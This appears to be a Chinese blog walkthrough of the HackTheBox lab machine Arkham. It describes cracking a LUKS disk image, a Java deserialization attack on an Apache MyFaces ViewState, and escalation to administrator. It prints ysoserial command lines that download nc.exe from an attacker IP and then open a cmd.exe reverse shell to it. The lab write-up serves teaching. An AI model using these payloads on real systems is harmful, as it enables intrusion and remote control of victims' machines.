Skip to content

Latest commit

 

History

History
227 lines (116 loc) · 12.8 KB

HackTheBox-windows-Arkham.md

File metadata and controls

227 lines (116 loc) · 12.8 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

大余安全  

一个每日分享渗透小技巧的公众号

大家好,这里是 大余安全 的第 85 篇文章,本公众号会每日分享攻防渗透技术给大家。

靶机地址:https://www.hackthebox.eu/home/machines/profile/176

靶机难度:中级(4.8/10)

靶机发布日期:2019 年 5 月 15 日

靶机描述:

Arkham is a medium difficulty Windows box which needs knowledge about encryption, java deserialization and Windows exploitation. A disk image present in an open share is found which is a LUKS encrypted disk. The disk is cracked to obtain configuration files. The Apache MyFaces page running on tomcat is vulnerable to deserialization but the viewstate needs to encrypted. After establishing a foothold an Outlook OST file is found, which contains a screenshot with a password. The user is found to be in the Administrators group, and a UAC bypass can be performed to gain a SYSTEM shell.

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用 Kali Linux 作为解决该 HTB 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

可以看到靶机的 IP 是 10.10.10.130...

IIS 在端口 80 上与 SMB 和 Apache tomcat 一起在各自的端口上运行着... 还有 49666、49667 端口...

找到 BatShare 共享,进去看看..

发现文件 appserver.zip... 好大的文件...

网络太差了!!移动的宽带走个代理出去,根本下不动 appserver,我 mount 挂载,还是等待了半天才打开...

更坑爹的是,挂载完 copy 也不行,应该是网络原因,但是操作别的都正常...

非要以这种方式,等了 7 分钟,才完成 14MB 文件的加压~~~

只是告诉我们这是 Linux 服务器的备份镜像,需要密码登陆... 果然这是 LUKS 加密的图像...

搜先利用 grep batman /usr/share/wordlists/rockyou.txt > dayu.txt 生成密码库... 因为这台靶机 http 就提及了很多人名...batman 是列举人名的密码库...

然后利用 bruteforce-luks 暴力破解密码的工具进行破解,获得密码...

利用 cryptsetup 解密磁盘内容,输入密码可以看到,桌面生成了一个磁盘,进入是蝙蝠侠电视剧的几张图... 和文件

里面是一些服务器配置文件和几张图,目前没发现别的信息,没密码没用户... 继续往下

80 和 8080 的 web 页面...

访问 80 端口的 Subscription 订阅信息,重定向到了 userSubscribe.faces 页面...

利用 burp suit 分析页面具有. faces 扩展名,并且 POST 请求具有参数 javax.faces.ViewState...

在前端代码更清晰的看到此 ViewState 属性,这是一种 MyFaces 用于存储视图当前状态的机制,此状态是 Java 序列化的对象,这意味着我们可能必须进行 Java 反序列化攻击。存在的反序列化漏洞...

参考这篇文章可以获得点思路...

[java.lang.Object](https://myfaces.apache.org/shared12/myfaces-shared-core/apidocs/org/apache/myfaces/shared/util/StateUtils.html)

很好的解释了,这是 base64 编码进行 DES 和 macSHA1 加密的 Java 序列化对象...

下面的思路是:

找到 DES 和 macSHA1 密匙,然后利用 base64 值进行 javax.faces.ViewState = 注入...base64 可以利用 java 生成 shellcode 转码成 base64 即可提权... 开始

在前面挂在出的盘里 web.xml.bak 文件发现了 DES 和 macSHA1 密匙...

这里需要利用:

[ysoserial](https://github.com/frohoff/ysoserial)

集成工具进行生成 jave 反序列化的 shellcode... 功能很多

准备好了生成 shellcode 的工具...

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd.exe /c powershell -c Invoke-WebRequest -Uri "http://10.10.14.11/nc.exe" -OutFile "C:\windows\system32\spool\drivers\color\nc.exe"' > exploit

利用 ysoserial 最新版集成生成 shellcode...

然后利用 DES 密匙简单的 python 代码生成 base64 值...

成功注入...NC 上传成功...

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd.exe /c c:\windows\system32\spool\drivers\color\nc.exe -nv 10.10.14.11 443 -e cmd.exe' > exploit2

按照前面同理,写入 shellcode 出发 nc 即可获得反向外壳...

成功获得 user 信息... 这里需要进入 powershell

枚举目录发现在 backups 中 C:\Users\Alfred\Downloads 目录下有一个 zip 文件... 利用 nc 进行下载...

存档中只有一个 arkham.local.ostOutlook 电子邮件文件,利用 readpst 将其转换...

转换成 Drafts.mbox 文件...

查看 Drafts.mbox 文件,存在 base64 值...

将 base64 转换后,发现这是 png 格式文件.. 修改即可

查看后发现了 Batman 的密码...

可以看到 Batman 用户在 Administrators 组以及 Remote management users 组中...

利用 PowerShell Remoting 使用他的凭据,成功进入 PowerShell 会话,然后利用原先上传的 NC 获得了反向 shell...

直接读取 root 信息无法查看... 前面查看信息是在 adminidtrator 组里,我进行了挂在共享... 成功

通过挂在的 E 盘,成功获得了 root 信息...

由于我们已经成功得到 root 权限查看 user.txt 和 root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

随缘收徒中~~ 随缘收徒中~~ 随缘收徒中~~

欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

大余安全

一个全栈渗透小技巧的公众号